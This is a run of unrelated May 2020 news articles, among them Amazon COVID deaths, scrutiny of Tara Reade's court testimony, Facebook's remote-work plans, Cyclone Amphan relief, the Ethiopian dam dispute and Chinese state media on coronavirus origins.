'We are saddened by the loss of an associate who had worked at our site in Randall, Ohio,' Levandowski told NBC News.

'Her family and loved ones are in our thoughts, and we are supporting her fellow colleagues.'

At least seven other Amazon warehouse workers have died from COVID-19, the disease caused by the virus.

NBC News reports that those deaths have taken place in Hawthorne, California; Tracy, California; Waukegan, Illinois; Indianapolis, Indiana; Jeffersonville, Indiana; Bethpage, New York; and Staten Island, New York.

Levandowski said Amazon is providing grief counseling to the woman's colleagues and utilizing contact tracing.

At least 13 state attorneys have asked for Amazon to provide data on the actual number of COVID-19 cases and deaths.

However, Amazon has refused to release any figures regarding the number of employees affected by the disease -but says it is improving the safety of its workers.

This includes providing face masks and temperature checks and disinfecting surfaces such as elevators buttons and door handles.

'We respect the rights of employees to protest and recognize their legal right to do so,' Amazon said in a statement last month,

'However, these rights do not provide blanket immunity against bad actions, particularly those that endanger the health, well-being or safety of their colleagues.'

Hourly pay has also been increased for its workers by $2 per hour and those that are diagnosed with the disease will receive paid sick leave.

Amazon has seen an increase in its service with more people quarantined at home and needing deliveries, and this good news for the company's CEO Jeff Bezos.

A recent report from Comparisun, which compares popular small business services and products, predicted that Bezos will become the world's first trillionaire, a status he may reach by 2026 at age 62.

In the US, there are currently more than 1.6 million confirmed cases of the virus and more than 95,000 deaths.
Kennedy Kwaku Adu, blamed his mother for his inability to get his wife pregnant after years of marriage.

Before inflicting the cutlass wounds on her mother he had earlier threatened to behead her.

Deputy Suprintendent of Police (DSP) Addai Boateng, the Twifo Praso District Commander confirmed the incident and the arrest to the Ghana News Agency.

He said the suspect and his wife Ms Gifty Anku had been married for quite a long time without a child.

He said due to that suspicion, peace had therefore eluded the family house where the suspect, victim, his wife and the suspect's younger brother all reside.

According to the District Commander, the suspect returned home on the night of the incident drunk, and started hurling insults on his mother and later inflicted the cutlass wounds on her.

He said the mother is currently battling for her life at the Twifu Praso Government Hospital, where the suspect who was also injured when his younger brother tried to separate the brawl, is also receiving treatment.

DSP Boateng said investigations was on going and the suspect will soon be arraigned.

---GNA
Masked and armed men believed to be from the Continuity IRA have been pictured patrolling roads in rural Fermanagh and firing shots in a cemetery. It is thought the photographs were taken in the Wattle Bridge area last weekend

Masked and armed men believed to be from the Continuity IRA have been pictured patrolling roads in rural Fermanagh and firing shots in a cemetery. It is thought the photographs were taken in the Wattle Bridge area last weekend

Police are seeking information after images of masked Continuity IRA terrorists posing with guns in rural Fermanagh emerged.

The pictures were published in the Irish News and are thought to have been taken last weekend in the Wattle Bridge area near the border, where a bomb attack on police took place last summer.

First Minister Arlene Foster condemned the display, saying: "The people of Fermanagh do not want such thugs patrolling our roads."

Appealing for information yesterday, the PSNI said last night that police were aware of the incident. "However, no reports of suspicious behaviour in the area have been received at this time," it added.

Last August army bomb disposal officers and police had been in the area responding to reports that a device had been left there.

A hoax device was discovered, but a bomb exploded as the scene was being examined by soldiers and police officers.
At least three times in the past two years, Tara Reade  the woman who now accuses Democratic presidential candidate Joe Biden of sexual assault  took the witness stand in a trial centered on domestic violence.

Each time, before a judge would allow her to describe the insidious cycles of domestic violence, she had to show she was qualified to testify in court as a so-called expert witness. And each time, she began her answer by citing two things: Bidens past efforts to protect women from violence, and her time on his Senate staff in the early 1990s, when she now says the sexual assault took place.

Whats your experience specifically with respect to domestic violence? Monterey County Deputy District Attorney Robin Duffy asked Reade during a trial in California early last year, according to a transcript of the testimony.

Well, Reade responded, I worked originally for former U.S. senator Joseph Biden as a legislative aide. He worked on the Violence Against Women Act.

In the January 2019 testimony, Reade seemed to praise what Biden started as a U.S. senator, saying that going way back to my former boss, Joe Biden, there has been a movement to take the onus off the victim by encouraging neighbors or other associates of victims to report domestic violence to authorities.

She also cited Biden and the Violence Against Women Act during testimony in October last year, six months after she first publicly accused Biden of inappropriately touching her nearly two decades ago, limiting her complaints then to allegations he stroked her neck and twirled her curly hair between his fingers.

MORE: Biden: If voters believe Tara Reade they probably shouldnt vote for me

According to the transcripts obtained by ABC News, her appearances in court reflect someone who has dedicated much of her life to helping those brutalized by violent and abusive men. But the transcripts also reflect someone who  when under oath  touted Bidens work for women.

Story continues

PHOTO: Former Vice President Joe Biden speaks about the Coronavirus and the response to it at the Hotel Du Pont in Wilmington, DE. (Michael Brochstein/Echoes Wire/Barcroft Media via Getty Images)

In addition, defense attorneys are reportedly now trying to determine if the transcripts show she provided false testimony about her credentials.

Before a judge allowed Reade to testify in a December 2018 trial  involving the less common case of two women accused of domestic violence  Duffy, the prosecutor, asked Reade to describe her past education.

I have a law degree from Seattle University, Reade noted, testifying under the name Alexandra McCabe, which she assumed after escaping from her allegedly abusive ex-husband in 1997.

And what about undergraduate? Duffy inquired.

A B.A. from Antioch University, Reade replied, referring to the bachelor of arts degree bestowed on those who graduate from the Seattle school.

After then hearing about Reades 20-year career, including her time in state government as a victim advocate and her legal work for local agencies representing battered women, the judge ruled that Reade could testify as an expert witness in the case.

I do find at this time that this witness does meet the educational background and training requirements to testify as an expert in the dynamics of domestic violence relationships, the Monterey County judge said of Reade.

A month later, in her January 2019 testimony, Reade similarly testified that she received an undergraduate degree from Antioch University.

But, according to Antioch University officials, some of what Reade told the judges was not true.

"Alexandra McCabe attended but did not graduate from Antioch University, the schools spokeswoman, Karen Hamilton, said in a statement to ABC News.

In fact, according to one source familiar with the matter, Reade attended the equivalent of just one year of school at Antioch University in 2000  a fraction of whats usually required to earn a degree.

The next year, Reade was accepted into Seattle University School of Law through the schools Alternative Admission Program, which provides a pathway for individuals from historically disadvantaged and under-represented communities to attend law school, an official from the school recently told CNN, which first reported on questions about her undergraduate schooling.

Reade received her law degree in 2004.

After questions about her testimony surfaced, Reade provided the New York Times with a screenshot of a school transcript from Antioch University, which showed her department as BA Completion but left blank the date conferred and degree conferred. She told the Times that, to help protect her new identity from her allegedly abusive ex-husband, the schools then-president, Tullise Murdock, helped secretly bestow a fast-tracked degree upon her.

But Hamilton, the Antioch spokeswoman, told the Times that Murdock denied any such arrangement.

MORE: Biden accuser says she wants Biden to drop out of the 2020 race for president

If proven false, Reades claims  under oath  could amount to a crime.

In several press releases announcing convictions over the years, prosecutors have repeatedly described Reades testimony as critical to their cases. The district attorneys office is now reviewing the matter, and defense lawyers from many of trials are now looking to reopen their clients cases, according to the New York Times.

A legislative aide to Biden?

The details of Reades education may not have been her only overstatements while testifying in court  she repeatedly testified that she was a legislative assistant in Bidens office.

In her October 2019 testimony seven months ago, she even suggested she was involved in moving Bidens key legislation along.

On the Violence Against Women Act, I was a legislative assistant and did research in that office, she said, according to a transcript of her testimony.

PHOTO: In this April 4, 2019, photo Tara Reade poses for a photo during an interview with The Associated Press in Nevada City, Calif. (Donald Thompson/AP Photo)

In January 2019, she testified that she worked for Biden as a legislative aide  the same title she used to describe her position in at least four personal essays posted online.

When you work as a legislative aide, you research the overarching issue of what the policy is or the law is they're trying to enact, she said in court. So I was reading and studying before and going to hearings and things like that.

But, in fact, government records show Reade was a staff assistant on Bidens team  a lower position than a legislative aide.

Reade seemed to acknowledge the difference in a podcast interview two months ago, when she said she worked for legislative aides on Bidens staff.

Pretty low on the totem pole, she said of her position at the time. I was working with the interns. So I supervised the intern program, and made sure all the mail was distributed where it was supposed to [be].

When assisting legislative aides, she would help go to a hearing and take notes, or write something, she added.

The Biden allegations

Reade is now accusing Biden of sexual assault during her time in his office, allegations that Biden and his closest advisers from the time have vehemently denied.

According to Reade, in 1993 Biden pinned her against a wall in a Capitol Hill hallway, slipped his hand into her skirt, and then digitally penetrated her.

The explosive allegation goes much further than when she first publicly lodged allegations against Biden last year. In an April 2019 interview with her local newspaper, she accused Biden of inappropriately touching her neck and shoulder when she worked for him.

The allegations last year went further themselves than previously-documented claims.

In recent interviews, Reade has said that while still working for Biden, she formally filed a sexual harassment complaint with a Senate office, but that has yet to be corroborated.

Biden has said the events described by Reade "never happened."

"[Women] deserve to be treated with dignity and respect, and when they step forward they should be heard, not silences," he said in a recent statement.

Still, "the full and growing record of inconsistencies in her story" should be examined, he said.

In her March podcast interview, Reade said that acting as an expert witness in Monterey County courts is part of how I channel [the] rampage or energy that has grown inside her through years of abuse.

I have spent most of my life hiding from powerful men, be it my abusive ex-husband later, or Joe Biden, Reade said, her voice cracking with emotion. I am now at the point where just Im done.

ABC News' Matt Mosk contributed to this report.

Under oath, Biden accuser Tara Reade cited Bidens work for women; defense attorneys now question her other testimony originally appeared on abcnews.go.com
One thing is clear in the complicated, sometimes contradictory and often chaotic story of Tara Reade: Her life hasn't been easy.

Her earliest memories were of being physically and emotionally abused by her father, she told her ex-husband, a man she would leave after she said he, too, abused her.

After landing a low-level job in 1992 with then-Sen Joe Biden, Reade said, she was again the victim of abuse after he sexually assaulted her in a hallway an allegation Biden vehemently denies.

That accusation, which Reade made publicly for the first time in March, has revived difficult questions about how to evaluate allegations of assault in the era of #MeToo. It also has drawn intense scrutiny to Reade's life story.

Some who have dealt with her found her duplicitous and deceitful, while others found her a heroic survivor.

It's often not possible to conclusively resolve an allegation like the one Reade has made, where there are no witnesses and no timely police report.

So how her claim is evaluated turns largely on her credibility.

This account is based on interviews with more than a dozen of her friends, relatives and former colleagues, interviews with Reade and an extensive review of court documents, emails and Reade's own writings.

I'm not a lying, manipulative user, she said in a Wednesday interview with The Associated Press.

I've really understood what it's like to be struggling and poor. I've really tried to help people when I could. And animals especially.

Reade, 56, was born Tara Moulton in Monterey, California, but says she spent most of her childhood in northern Wisconsin until her parents divorced when she was a teenager.

She set out for California at age 17 to become an actress but also said she auditioned for The Juilliard School's exclusive acting program in New York, which she left brokenhearted after her father refused to pay the tuition.

There's little public accounting of the next few years of Reade's life.

Reade said she attended Pasadena City College before landing an internship in Washington with then-California Rep. Leon Panetta.

Her sights were set on a job in Biden's office.

Stacey Ertel, who worked in another Senate office, said they would get lunch, shop or go to a ballgame.

Another friend, who spoke on the condition of anonymity to protect her family's privacy, described her as a laid-back Californian.

Over the years, Reade spoke favourably about working for Biden.

Margie Estberg, a Monterey Bay, California, area resident, said she got to know Reade after hiring her in late 2017 to pet sit.

Over dinner in 2018, Estberg said, she asked Reade what Biden was like and whether Biden was one of the bad guys."



I said, 'Is he a nice guy?' And she said, 'Yeah, he is,' Estberg recalled.

But the friend who spoke to the AP anonymously said Reade told her a much different story in 1993.

That's when Reade says she was asked to deliver a gym bag to Biden in a Senate office building; she says he kissed her and digitally penetrated her.

The woman, who has spoken to reporters since Reade came forward in 2019, initially confirmed only Reade's limited account of harassment.

After Reade said in March that she had been sexually assaulted, the friend expanded her account as well.

Reade says she tried to file a complaint but suffered retaliation. She said she was encouraged to find another job and quit.

That same spring, she met Ted Dronen, another Senate staffer, whom she followed to North Dakota, where he worked on a campaign, according to court records.

They married in 1994 and had a daughter. She sought a restraining order after an argument and assault two years later.

She fled Dronen for Washington state. The past two decades of her life have been tumultuous.

Her resume states that she has a bachelor's degree from Antioch University and later worked as an instructor at the school's Seattle campus.

But school officials said she did not graduate and was never faculty, which Reade disputes.

She was accepted to Seattle University Law School through an alternative admissions program and graduated in 2004 but struggled to keep a job.

Sympathetic strangers drawn to her story of escaping abuse often helped, but she struggled to meet financial obligations.

By May 2006, Reade was back in California, working as a victims' advocate for the Monterey County YWCA, where she lodged a series of complaints of harassment and discrimination by managers within months of taking the job.

In 2008, she turned to Austin Chung, an inexperienced property manager with a cottage for rent.

She told him she was fleeing abuse and had no credit history but had law degree and a job, he said.

Within five months, she was behind on rent. She lost her job, and Chung moved to evict her when she fell $3,600 behind on rent.

She left a house in need of $8,000 in repairs, according to Chung, who provided emails and video footage of the home's interior.

Financial and legal turmoil followed her in the years ahead: In 2011, Reade's live-in boyfriend was charged with battery and corporal injury during an incident involving Reade and her daughter, according to court records. She continued to live with him and cared for him after he had a stroke, court records show.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
(Photo : REUTERS/Erin Scott) Facebook Chairman and CEO Mark Zuckerberg testifies at a House Financial Services Committee hearing in Washington, U.S., October 23, 2019.

As reported by Mashable, Facebook CEO Mark Zuckerberg announced that the company is going to allow its employees to work remotely this year with thousands of them permanently working from home as the coronavirus pandemic continues to reshape the global economy.

On Thursday, May 21, Zuckerberg said in a live-streamed talk that his company will not be exclusively in remote mode, but he plans to be a remote-work friendly company. The social media giant has been creating tools and services for remote-working and collaboration such as the Workplace, the video-chatting app Portal, and the VR headset Oculus.

"Moving to more remote work, I think, will give us the opportunity to advance some of the important future technology that we're working on," Zuckerberg said adding that the company builds things to help people communicate. It also gives people "a feeling of connection and presence" even at a distance.

The CEO also sees opportunities in the remote working workforce as its Workplace already has five million paid subscribers with a two million increase during the COVID-19 lockdown.

Zuckerberg also highlighted the "growing demand for VR-powered training and collaboration." This translates to dollars for the social media giant, which already has billions of virtual reality investments.

Mark Zuckerberg sees opportunities in remote working; Allows staff to permanently work at home

In an interview with The Verge, Zuckerberg said that it would eventually allow most of its employees to permanently work remotely. Also, Facebook will conduct most of its US recruitment online while it will begin taking in permanent remote work requests later this year.

Zuckerberg also said the move is rather "thoughtful and responsible," but he is also looking forward to having half of the company's 48,000 staff in 70 offices worldwide to permanently work remotely within a decade. This will make Facebook "the most forward-leaning company on remote work."

Last week, Twitter also announced it would give most of its employees a choice to work remotely while Google CEO Sundar Pichai told The Verge on Tuesday that the tech giant considers having more remote work flexibility and letting most of its employees work from until home the end of the year.

Meanwhile, Coinbase and Shopify CEO Tobi Lutke announced on Thursday that they would also begin a shift to remote work immediately. The latter is even considering a permanent work from the home set-up.

Zuckerberg told The Verge that the shift to remote working ends decades of Silicon Valley practice. When Facebook reopens some of its offices in July, it plans to reduce occupancy to just 25% with other safety requirements for its employees before coming into the office. Zuckerberg said the company is likely to keep most of its workers working remotely for much longer, although others are likely to prefer working at a company office.

"I do think I'll plan to spend more of my time remotely over time," the CEO said.

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COVID-19 has returned to Six Nations of the Grand River.

More than a week since the disease was last detected on the territory southwest of Hamilton, a single positive case was reported Thursday morning.

Ohsweken Public Health is tracing the infected persons contacts and asking them to self-isolate and monitor for symptoms for 14 days.

Prior to this new case, 11 residents of Six Nations of the Grand River had tested positive. One resident died on April 9 while the remaining 10 recovered and were officially cleared.

In total so far, the Six Nations COVID-19 Assessment Centre has administered more than 600 tests and asked 39 residents to self-isolate.

Security measures enacted by the elected council and Confederacy chiefs remain in place, including closing most entrances to the reserve and putting up roadblocks at others, where drivers must show a vehicle ID badge.

The community emergency declared on March 13 remains in place.

As summer progresses it is evident this virus will not dissipate, Six Nations elected council said in a media release.

Public health officials are reminding the community that even though the province is opening certain areas up, it is import that community members keep practicing social distancing, maintaining hand hygiene, wear non-medical masks while in public and avoid all non-essential travel.

The virus prompted elected council to shift the annual Bread and Cheese Day gathering to home delivery. Bread and Cheese Day is a nearly century-old tradition that draws up to 20,000 Six Nations members from on and off-reserve to a community celebration that coincides with Victoria Day and is marked by midway rides and games, a parade, and the sharing of the eponymous foods.

Instead of doling out hand-cut cheese and thick slices of bread at the Gaylord Powless Arena in Ohsweken, volunteers drove refrigeration vans and trailers lent by local organizations around the territory on Monday, placing thousands of individually wrapped loaves of bread and pieces of cheese in sanitized coolers that residents placed outside their homes.

When all of this is over, and after we have prevented as many deaths as possible, we will hold each other close and celebrate each other, said elected council Chief Mark Hill.

But right now, we need to show our continued commitment to stopping the spread and do everything in our power to ensure we do not lose any more lives.
Source: Xinhua| 2020-05-22 19:16:34|Editor: huaxia

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NEW DELHI, May 22 (Xinhua) -- Indian Prime Minister Narendra Modi announced on Friday afternoon financial assistance of 131.6 million U.S. dollars as immediate relief for eastern state of West Bengal after he undertook an aerial survey of the areas battered by severe cyclonic storm Amphan.

The storm, according to officials, has killed at least 80 people.

"Prime Minister announced financial assistance of INR 1,000 crore (131.6 million U.S. dollars), for immediate relief activities, to the state of West Bengal," read a statement issued by the Prime Minister's Office (PMO). "After receiving memorandum of assistance from the state, the union (federal) government will deploy an inter-ministerial team to visit the state to assess the extent of damage in the state, based on which further assistance will be given."

Earlier in the morning, Modi reached Kolkata, the capital city of West Bengal. From there he along with Governor Jagdeep Dhankhar and Chief Minister Mamata Banerjee undertook an aerial survey of some of the worst-affected parts of the state.

The cyclonic storm triggering gusty winds up to 190 kmph and rain battered West Bengal and coastal Odisha on Wednesday evening, flattened makeshift houses, uprooted electric poles and trees.

West Bengal was the worst hit in the cyclone as gusty winds swept through several parts, including capital Kolkata, leaving behind a trail of destruction, with thousands of homes damaged, and trees and electric poles uprooted.

Modi also announced 2,632 U. S. dollars for each family that lost member in the cyclone and 658 U.S. dollars for each injured.

Banerjee on Thursday asked the prime minister to visit the state and inspect the damage, which she said was around 13.20 billion U.S. dollars.

Modi will also visit adjacent Odisha, where also he is scheduled to undertake an aerial survey. The cyclone also caused widespread devastation in Odisha, damaging power and telecom infrastructure in several coastal districts. Enditem
CAIRO  Facing Ethiopias unilateral decision to begin filling the Grand Ethiopian Renaissance Dams reservoir before coming to a full agreement with Egypt over a storage and operation mechanism in the dam, Cairo has taken a new diplomatic path, briefing the UN Security Council members May 1. It stated in an all-inclusive letter all of the unsuccessful diplomatic efforts and paths taken regarding the dam in light of Ethiopias intransigence and unilateral decision to fill the dam.

Egypts Foreign Minister Sameh Shoukrys letter to the Security Council president for May, Estonias Foreign Minister Urmas Reinsalu, clearly states, Ethiopia announcing its intention to seize the Blue Nile waters to fill the dams reservoir in July 2020 poses a serious threat to the regions peace and security. Filling the dams reservoir, which is being promoted as the largest hydroelectric dam in Africa, would jeopardize the water security, food security, and indeed, the very existence of over 100 million Egyptians, who are entirely dependent on the Nile River for their livelihood.

After the letter was circulated among the Security Council members, Reinsalu contacted both Shoukry and Ethiopias Foreign Minister Gedu Andargachew by phone. In a May 6 statement, the Egyptian Foreign Ministry announced that Egypt and Estonia agreed to work in favor of international peace and security and stressed the importance of involving Ethiopia in order to reach a just and balanced settlement of this dossier and sustain security and stability in the region.

The Ethiopian Foreign Ministrys statement indicated May 8 that the two sides  Andargachew and Reinsalu  stressed the importance of wisely resolving the conflict over filling the reservoir and operating the dam between Egypt, Ethiopia and Sudan, without giving any further details.

A well-informed government official told Al-Monitor on condition of anonymity, Egypts letter to the UN Security Council is part of the diplomatic moves that [Egypt] began since Ethiopia withdrew from the Washington-sponsored negotiations in February, and refused to sign the comprehensive agreement on the filling and operating of the dam.

The source added, It has become clear to the international community that since the construction of the dam was announced in 2011, Egypt has taken all peaceful diplomatic paths to resolve the disputes through negotiations, based on cooperation, keenness to bring about common interests and benefits, and understanding of Ethiopia's demands for development without harming the Egyptian or Sudanese interests.

The source noted, "There are diplomatic calls by international partners for Egypt to file an official complaint to the Security Council following the briefing on the current situation and in light of the threat the Ethiopian unilateral decision to fill the dams reservoir poses on the regions peace and security.

He added, Egypt is still taking all diplomatic means to resolve the crisis and convince Ethiopia  via international mediators  of signing the Washington comprehensive deal.

The official said, Following Egypt's letter to the UN Security Council, Ethiopia asked that Egypt and Sudan sign a partial agreement involving the first [stage of the] filling. Egypt will not agree on a partial agreement after a comprehensive agreement involving the filling and storage operations was actually reached and brokered by the United States and the World Bank.

At a Cabinet meeting in Addis Ababa May 11, Ethiopian Minister of Water, Irrigation and Energy Seleshi Bekele said that his country is drafting a comprehensive document to respond to Egypt's address to the Security Council. He was quoted as saying, The civil work [such as the construction of concrete walls] of the Grand Ethiopian Renaissance Dam has reached 87% and the total construction is 73%.

Ethiopia plans to begin filling the dams reservoir at the beginning of the rainy season in July. This stage involves the storage of 18.4 billion cubic meters in two years, so as to embark on the partial operation and power generation from the dam.

Speaking to Al-Monitor, Egyptian diplomatic sources revealed details relating to Ethiopias 22-page response to the Egyptian letter submitted in mid-May to the Security Council, in which it spoke of its peoples suffering from poverty and their right to use the Nile waters in order to achieve development.

The sources said, The Ethiopian response stated that there is no legal obligation for it to wait for Egypts approval before embarking on the filling of the dams reservoir. Yet it demanded that the international community urges Egypt to get back to the tripartite negotiations to agree on the first [stage of the] filling, which is estimated at 18.4 billion cubic meters.

Egypt was not the only one that rejected Ethiopias request to sign a partial agreement on the first stage of the filling. The Sudanese Ministry of Water Resources also announced in a May 12 press release that the signing of any partial agreement regarding the first stage cannot be agreed upon, given that it must necessarily include technical and legal aspects.

As a part of mediation efforts of the Sudanese government seeking resumption of the tripartite negotiations as soon as possible, Sudans Prime Minister Abdalla Hamdok met May 21 with his Ethiopoian counterpart Abiy Ahmed. Both parties agreed during the meeting on the resumption of the tripartite talks on the filling and operation of the dam.

Hamdok had held a teleconference meeting May 19 with his Egyptian counterpart, Mustafa Madbouly, and the ministers of foreign affairs and water and intelligence chiefs. The meeting follows a visit by a Sudanese high-level delegation to Addis Ababa, where they met May 16 with Ethiopian Prime Minister Ahmed. Results of the meeting have yet to be revealed.

While Sudan did not publicly express its opinion on the Egyptian and Ethiopian addresses to the UN Security Council, Ethiopian media outlets criticized the Sudanese government's rejection of Ethiopia's request to sign a partial agreement, considering that it reflects a sudden shift in the Sudanese position that has been in favor of Ethiopia since the start of the talks on the dam.

Commenting on the Egyptian diplomatic move toward the UN Security Council, Musaed Abdel-Atti, assistant professor of international law at Cairo University, told Al-Monitor, Egypt stating that the Ethiopian unilateral move to fill the dams reservoir poses a threat to peace and security in the region is a diplomatic step for the UN Security Council to assume its responsibility, and revealed that Ethiopia was being intransigent and unfair during the negotiations.

Abdel-Atti stressed that under international law, the states have the right to defend their rights and resources. Egypt has already taken all diplomatic paths to prove its position, and has at the same time the means to defend its rights and interests in the Nile waters.

Cairo continues to make diplomatic moves and use peaceful channels before Ethiopia starts filling the dams reservoir in early July, in an attempt to convince Ethiopia of signing a comprehensive agreement regulating the filling and operation mechanisms. At the same time, it opposes any suggestion relating to a partial agreement.
A former contortionist-turned-administrator, Ms. Vassallo is a member of a family that has worked in the circus for at least six generations and has owned this particular show for 29 years. The last period has been perhaps the least eventful, as she and her relatives and assorted circus performers have passed the months here hunkered down in trailers next to peppermint-striped tents.

In reality, the Rony Rollers arent trapped so much as unwilling to go their separate ways. Like other dynasties in Italys vibrant, 60-circus strong big-top culture, the Vassallos own homes and property about an hour south in Latina, a town that is to circus people what Tampa, Fla., is to professional wrestlers.

At the end of Italys coronavirus lockdown, one of the camels broke free.

On a narrow field surrounded by low-rise apartments, bus stops and a tangled ribbon of highway ramps, the camel scampered past lions, which leapt against their cage. It distracted the acrobats practicing their flips on an aerial hoop and sauntered toward the languid, pregnant tiger, and stalls of horses and African Watusi bulls.

An animal tamer, wearing a welding helmet as he attended to repairs, quickly chased down the camel.

While the easing of travel restrictions has left circus members free to leave with menagerie and tents since early this month, Ms. Vassallo said that Latina was packed with other circus acts and animals, and that her performers dreaded the solitude of home isolation. She said the troupe had agreed it was preferable to keep renting this land across from a cornfield and pass the lockdown training together.

Better in the company, she said was the consensus, with my people.
Q My wife left our residence in Dublin three years ago to go to her sister's house in Co Tyrone. The reason was that her sister, and only sibling, was in very poor health and needed full-time care. She has now died and left her estate to my wife, who has paid the inheritance tax due in NI/UK, and the question is whether she is now liable also for inheritance tax in the Republic? It's causing us some tension and worry.

A I can understand why and I'm sorry for your troubles.

I asked Joanna Murphy, CEO of Taxback.com, for her advice. She says an individual is taxable in Ireland when they are ordinarily resident here (at least 183 days in a tax year or 280 days in two consecutive years). It appears from your email that the benefit was a UK property and the disponer (your late sister-in-law) was not an Irish resident. Whether or not tax is due here will depend on whether your wife is considered Irish resident at the time of the benefit, says Ms Murphy. The relationship between disponer and beneficiary is key to assessing any liability. A Group B relative (siblings) are entitled to only 32,500 tax-free (this is a lifetime cumulative threshold). Anything over that is taxed at 33pc, so on a property that could land you with quite a hefty bill.

"The UK inheritance tax paid can be set against your wife's Irish tax liability in accordance with the double taxation agreement between Ireland and the UK", adds Ms Murphy. "Dwelling house exemption should also be considered; if it was the main/only residence of the disponer, continually occupied by the beneficiary during the period of three years preceding the inheritance and is the ONLY residence to which the beneficiary is entitled to at the date of inheritance there may be some leeway or relief, however to qualify, your wife would need to remain there for a further six years, which may not be what you have in mind.

My advice is to have a chat with Revenue here (they are very approachable and deal with this stuff all of the time) or ask your solicitor to get a handle on the requirements.

Don't worry too much, but don't let it delay too long either, or you may end up with unintended interest and penalties should there turn out to be a liability. In any event there will be a tax declaration to complete, whether or not there is a tax liability.

Q We are close to closing on a property in Dublin, and went sale agreed with contracts ready to sign just before the lockdown. We were asked to return to our lender for a 'Covid review' as my wife's job has been affected; I've updated the agent on our progress only a few days ago, but discovered the other day that the property had been put back on the market online. We were not informed and the agent said it is still sale agreed but they are 'actively taking inquiries' from other parties to 'protect their client's interests'. Is this normal? It seems very underhand.

A I'm inclined to agree. It's bad form at best and worrying for you at this time. The property market is all but dead at present, so perhaps the pressure is creating poor practice with a minority.

I asked Pat Davitt, CEO of the Institute of Professional Auctioneers and Valuers (IPAV), who told me that while the agent certainly should have informed you before re-listing the property, as contracts have not been signed, he or she is within their rights to relist the property, on the client's instruction.

"It's not sold until contracts are exchanged and there may be a concern that you might not now be able to complete the sale given the financial position, so the agent is entitled to continue to list it".

He adds: "There is so little happening in sale completion at the moment given the circumstances that you may well complete the financial review and close before anybody else puts in an offer. If you want to pull out, you have that option also, of course".

The Ryan Review

Theres been a week of torrid financial statements emanating from the two so-called pillar banks. Bank of Ireland and AIBs numbers were, not unexpectedly, pretty dire. Massive provisions have been made against the Covid-19 backdrop as both lenders face into a tsunami of defaults over the coming months. Just as well theyre not paying any tax, eh?

Borrowers should note that the rock-and-a hard-place position that lenders find themselves in right now means both a contraction in lending (BOI reported it had suspended all mortgage LTI/LTV exceptions), and a burning need to get credit lines moving again.

This dichotomy will most likely result in tighter underwriting of all loans. While nobody who availed of the Mortgage Moratorium will appear on the Central Credit Register, dont think for a minute it hasnt been, ahem... noted.
BAKU, Azerbaijan, May 22

By Rufiz Hafizoglu - Trend:

The Turkish Ministry of Energy and Natural Resources has banned Ovunc Sanli Pontem Insaat construction company from participation in the tenders to be held by Turkeys BOTAS Petroleum Pipeline Corporation, the ministry told Trend on May 22.

The reasons for such decision have not been announced.

According to the ministry, the ban on participation in the tender was introduced for a period of one month.

The co-founders and subsidiaries of Ovunc Sanli Pontem Insaat also wont be able to take part in the tenders, the ministry added.

(1 USD = 6.79 TL on May 22)

---

Follow the author on twitter: @rhafizoglu
President Donald Trump in the White House on April 24, 2020.

Olivier Douliery / AFP / Getty

Chinese state media are using President Donald Trump's comments about American scientists working on a coronavirus vaccine since January 11 as proof it was spreading in the US earlier than officially stated.

"This proves the novel coronavirus had been spreading in the United States before January 11, and Trump and some American politicians and media are lying," People's Daily posted on Weibo.

The articles are part of an ongoing back-and-forth between the US and China over where the coronavirus originated.

Trump has claimed the virus came from a laboratory in Wuhan, while Chinese state media have promoted a conspiracy theory that it was brought to Wuhan by the US military.

Visit Business Insider's homepage for more stories.

China's state media has been making the most of President Donald Trump comment that US scientists have been looking for a coronavirus vaccine since the beginning of the year, saying it's proof the US has been lying about the origin and spread of the virus.

At a May 15 press briefing, Trump said scientists from the US National Institutes of Health began working on developing a coronavirus vaccine on January 11.

"Most people never even heard what was going on January 11," he said. "And we were out there trying to develop a vaccine, not even knowing what we were up against."

A scientist works on a vaccine at Moderna in Cambridge, Massachusetts on February 28, 2020.

David L. Ryan/The Boston Globe/Getty Images

The timing was important, according to Chinese media, since it wasn't until January 12 that the World Health Organization announced China had shared a genetic sequence for the coronavirus, which would allow a vaccine to be created.

But according to the South China Morning Post, another group of researchers from Fudan University also uploaded genetic information onto an open database on January 10.

This clarification didn't stop a barrage of articles from China's government-controlled news outlets.

Story continues

"This proves the novel coronavirus had been spreading in the United States before January 11, and Trump and some American politicians and media are lying," the People's Daily, the official newspaper of the Central Committee of the Communist Party of China, posted on its Weibo account on May 16.

On the English-language version of People's Daily website, the article said Trump's comments had caused "an uproar worldwide" and signaled that "the Trump administration had been lying about China hiding information about the virus and casting doubts over the real timeline of the coronavirus epidemic in the US."

That same day, the Global Times, a newspaper affiliated with People's Daily, published an article claiming "netizens" were "demanding explanations from the US" about Trump's comments.

On May 17, Chinese state broadcaster CCTV posed questions about the debate on its Weibo page.



"Trump's words immediately sparked questions from netizens at home and abroad, where did the virus come from?" a post read. "Did the United States know about the virus early?"

Xinhua, another state-run news department, progressed the narrative with an article stating the US now owed "the world" an explanation.

Chinese media have been using Trump's comments about a vaccine to deny claims of a cover-up, while also promoting the idea the US cannot be trusted. The coronavirus' origins are still not known for sure.

Researchers inside the P4 epidemiological laboratory in Wuhan, China, on February 23, 2017.

JOHANNES EISELE/AFP via Getty Images

Trump and other US officials have suggested, without offering proof, that the coronavirus came from a laboratory in Wuhan. Chinese state media, meanwhile, have promoted a conspiracy theory that the virus was brought to Wuhan by the US military, according to the South China Morning Post.

Earlier in May, Business Insider reported that the US probably had the cases of the coronavirus in December 2019, but was too focused on what was going on in China to notice.

China now faces an investigation into the virus' source, although it will be far weaker than what was expected, after China outplayed critics at the World Health Assembly on Monday, according to Business Insider's Alex Ma.

Read the original article on Business Insider
A little girl in Georgia was looking forward to the father-daughter dance night to finally show off her dad to everyone. But when her father didnt turn up, her big brother stepped in to take up the role.

Seven-year-old Skylar Hamerters proud mom, Trelysia Hamerter, later shared her 11-year-old sons gentlemanly deed on social media, which has since gone viral for its convincing life lesson on upright parenting.

Just know that Im raising someone a GREAT HUSBAND one day, Trelysia wrote.

For the second time in two years, Skylar had been eagerly awaiting her father-daughter dance. Trelysia said that this year Skylar shared her wish in advance, hoping her dad would manage to attend the dance as he stood her up the year before.

So this year she comes to me ahead of time and says, Mommy, I want my dad to come with me to the dance. I dont want grandpa. I want my dad, I want everyone to know I have a dad, Trelysia, from Covington, told TODAY.

Trelysia hoped that her ex-husband would not let their daughter down this time, but she became increasingly worried when the dance was drawing near as Skylars dad had stopped picking up her calls.

Christian with his sister Skylar. (Courtesy of Trelysia Hamerter)

